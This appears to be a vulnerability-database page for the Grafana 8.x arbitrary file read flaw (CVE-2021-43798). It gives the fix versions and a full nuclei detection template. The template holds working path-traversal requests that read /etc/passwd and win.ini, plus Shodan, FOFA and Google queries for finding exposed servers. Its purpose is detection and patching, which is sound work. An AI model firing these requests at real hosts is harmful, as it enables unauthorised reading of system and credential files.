Grafana v8.x - Arbitrary File Read

Exploited in the wild. Listed by CISA on 2025-10-09; known to be used by ransomware.

highseverity

7.5CVSS score

88.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Grafana versions 8.0.0-beta1 through 8.3.0 are vulnerable to a local directory traversal, allowing access to local files. The vulnerable URL path is `<grafana_host_url>/public/plugins/NAME/`, where NAME is the plugin ID for any installed plugin.

Impact

An attacker can read sensitive files on the server, potentially leading to unauthorized access, data leakage, or further exploitation.

Fix

Upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1.

How to confirm it

Send: GET /public/plugins/{{pluginSlug}}/../../../../../../../../../../../../../../../../../../etc/passwd ; GET /public/plugins/{{pluginSlug}}/#/../../../../../../../../../../../../../../../../../../etc/passwd ; GET /public/plugins/{{pluginSlug}}/../../../../../../../../../../../../../../../../../../windows/win.ini ; GET /public/plugins/{{pluginSlug}}/#/../../../../../../../../../../../../../../../../../../windows/win.ini
Positive when: contains in header "text/plain" AND matches /root:.*:0:([0-9]+):/ AND status 200

Run it with nuclei: nuclei -id CVE-2021-43798 -u <target>

The full check

id: CVE-2021-43798

info:
  name: Grafana v8.x - Arbitrary File Read
  author: z0ne,dhiyaneshDk,j4vaovo
  severity: high
  description: Grafana versions 8.0.0-beta1 through 8.3.0 are vulnerable to a local directory traversal, allowing access to local files. The vulnerable URL path is `<grafana_host_url>/public/plugins/NAME/`, where NAME is the plugin ID for any installed plugin.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access, data leakage, or further exploitation.
  remediation: Upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1.
  reference:
    - https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
    - https://nosec.org/home/detail/4914.html
    - https://github.com/jas502n/Grafana-VulnTips
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43798
    - http://packetstormsecurity.com/files/165198/Grafana-Arbitrary-File-Reading.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-43798
    cwe-id: CWE-22
    epss-score: 0.88503
    epss-percentile: 0.99774
    cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 3
    vendor: grafana
    product: grafana
    shodan-query:
      - title:"Grafana"
      - cpe:"cpe:2.3:a:grafana:grafana"
      - http.title:"grafana"
    fofa-query:
      - title="grafana"
      - app="grafana"
    google-query: intitle:"grafana"
  tags: cve2021,cve,packetstorm,grafana,lfi,vkev,kev,vuln

http:
  - raw:
      - |+
        GET /public/plugins/{{pluginSlug}}/../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Connection: close

      - |+
        GET /public/plugins/{{pluginSlug}}/#/../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Connection: close

      - |+
        GET /public/plugins/{{pluginSlug}}/../../../../../../../../../../../../../../../../../../windows/win.ini HTTP/1.1
        Host: {{Hostname}}
        Connection: close

      - |+
        GET /public/plugins/{{pluginSlug}}/#/../../../../../../../../../../../../../../../../../../windows/win.ini HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    unsafe: true
    disable-path-automerge: true

    payloads:
      pluginSlug: helpers/wordlists/grafana-plugins.txt
    threads: 50
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/plain"

      - type: regex
        regex:
          - "root:.*:0:([0-9]+):"
          - '\/tmp\/grafana\.sock'
          - '\[(fonts|extensions|Mail|files)\]'
        condition: or

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from